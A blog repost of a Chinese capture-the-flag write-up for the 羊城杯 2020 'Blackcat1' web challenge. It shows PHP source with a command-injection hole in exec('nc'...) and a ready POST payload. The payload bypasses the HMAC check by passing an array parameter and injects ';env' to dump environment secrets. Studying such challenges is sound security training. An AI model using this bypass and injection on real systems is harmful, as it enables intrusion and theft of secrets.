当前位置: 首页 > article >正文

[羊城杯 2020]Blackcat1

知识点:数组加密绕过

进入页面熟悉的web三部曲(url地址,web源代码,web目录扫描)

url地址没有什么东西去看看源代码.

这有一个mp3文件点一下看看.

在最后面发现了 PHP源码.


if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){
    die('谁!竟敢踩我一只耳的尾巴!');
}

$clandestine = getenv("clandestine");

if(isset($_POST['White-cat-monitor']))
    $clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine);


$hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);

if($hh !== $_POST['Black-Cat-Sheriff']){
    die('有意瞄准,无意击发,你的梦想就是你要瞄准的目标。相信自己,你就是那颗射中靶心的子弹。');
}

echo exec("nc".$_POST['One-ear']);

开始代码审计.

if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){  
    die('谁!竟敢踩我一只耳的尾巴!');  
}  
// 检查POST请求中是否包含'Black-Cat-Sheriff'和'One-ear'字段,且它们不为空。  
// 这是一个基本的输入验证,但不足以防止所有类型的攻击。  
  
$clandestine = getenv("clandestine");  
// 从环境变量中获取名为'clandestine'的值,这通常用于存储敏感信息,如密钥。  
// 但从环境变量中直接读取密钥可能不安全,因为它可能暴露给不应访问它的进程。  
  
if(isset($_POST['White-cat-monitor']))  
    $clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine);  
// 如果POST请求中包含'White-cat-monitor',则使用其值对'clandestine'进行HMAC SHA256哈希处理。  
// 这可能导致'clandestine'的值被意外修改,这可能不是预期的行为。  
  
$hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);  
// 使用'clandestine'作为密钥,对'One-ear'的值进行HMAC SHA256哈希处理。  
// 这可能用于验证'One-ear'的值,但依赖于之前'clandestine'的值是否已被修改。  
  
if($hh !== $_POST['Black-Cat-Sheriff']){  
    die('有意瞄准,无意击发,你的梦想就是你要瞄准的目标。相信自己,你就是那颗射中靶心的子弹。');  
}  
// 验证'Black-Cat-Sheriff'的值是否与预期的哈希值匹配。  
// 如果不匹配,则输出一条消息并终止脚本。  
  
echo exec("nc".$_POST['One-ear']); // 危险!  
// 这里存在严重的安全问题!  
// 使用exec函数执行以'nc'(Netcat)开头的命令,并将'One-ear'的值附加到命令中。  
// 这允许攻击者通过控制'One-ear'的值来执行任意命令,这是典型的命令注入漏洞。  
// 攻击者可以利用这个漏洞来完全控制服务器。

意思是我们要保证Black-Cat-Sheriff 和 One-ear 两个参数的POST值存在的同时Black-Cat-Sheriff的值要等于One-ear经过sha256加密后的值($hh),最后通过exec这个危险函数来获取flag.

知识点:当数组进行sha256加密时,返回总为NULL.

        示例:

<?php
var_dump(hash_hmac('sha256', array(0), 'Unknown_key'));

?>

结果为:NULL

如果我们想要保证hh的value等于Black-Cat-Sheriff的value,那么我们就需要控制这两个参数的value,因为$clandestine=getenv("clandestine");,我们无法知道它(第一次加密)的环境变量的value,但由于我们知道当数组进行sha256加密时,返回总为NULL,我们就可以控制$clandestine(第二次加密)这个key的value=NULL从而控制hh的value.

话不多说开始注入.

利用下面这exp求出Black-Cat-Sheriff的value

<?php
var_dump(hash_hmac('sha256', ";env", NULL));
?>

result:afd556602cf62addfe4132a81b2d62b9db1b6719f83e16cce13f51960f56791b
White-cat-monitor[]=1&Black-Cat-Sheriff=afd556602cf62addfe4132a81b2d62b9db1b6719f83e16cce13f51960f56791b&One-ear=;env

至于为什么 用的是;env,而不是什么cat flag,是因为flag文件里的flag值时假的,他的flag值在环境变量里,同时 ; 是为了不被前面的nc影响.

得到flag游戏结束~ 


http://www.kler.cn/a/305603.html

相关文章:

  • 【OceanBase 诊断调优】—— ocp上针对OB租户CPU消耗计算逻辑
  • HarmonyOS SDK下的实践与探索
  • Flink_DataStreamAPI_输出算子Sink
  • 数据结构与算法-前缀和数组
  • 10款翻译工具实践体验感受与解析!!!!!
  • android dvr黑屏
  • ThinkPHP8出租屋管理系统
  • 【高等数学学习记录】函数
  • RPC远程调用的序列化框架
  • 【python】OpenCV—Age and Gender Classification
  • Threejs合并模型动画(上)
  • quartz 搭配SQL Server时出现deadlock的解决方案
  • ClickHouse总结
  • 如何使用 Vue 3 的 Composition API
  • C++ | Leetcode C++题解之第406题根据身高重建队列
  • 阿里部分集团内部中间件简介
  • 【Elasticsearch系列四】ELK Stack
  • DroidBot-GPT: GPT-powered UI Automation for Android论文学习
  • C++学习笔记----7、使用类与对象获得高性能(一)---- 书写类(2)
  • 【编程基础知识】Java语言中字面字符和转义字符的区别
  • 自建,前端sdk库(react-utils-dev-sdk)
  • Pytorch2.4.0自动安装cudnn9.1??? pip安装cudnn方法
  • 使用SQLAlchemy进行数据库操作:编写一个高效的Python函数
  • SpringBoot和SpringMVC是什么关系?SpringBoot替代SpringMVC了吗?
  • 继图书管理项目遗留的问题修改
  • Google宣布所有英语语种的Gemini Live用户现可免费使用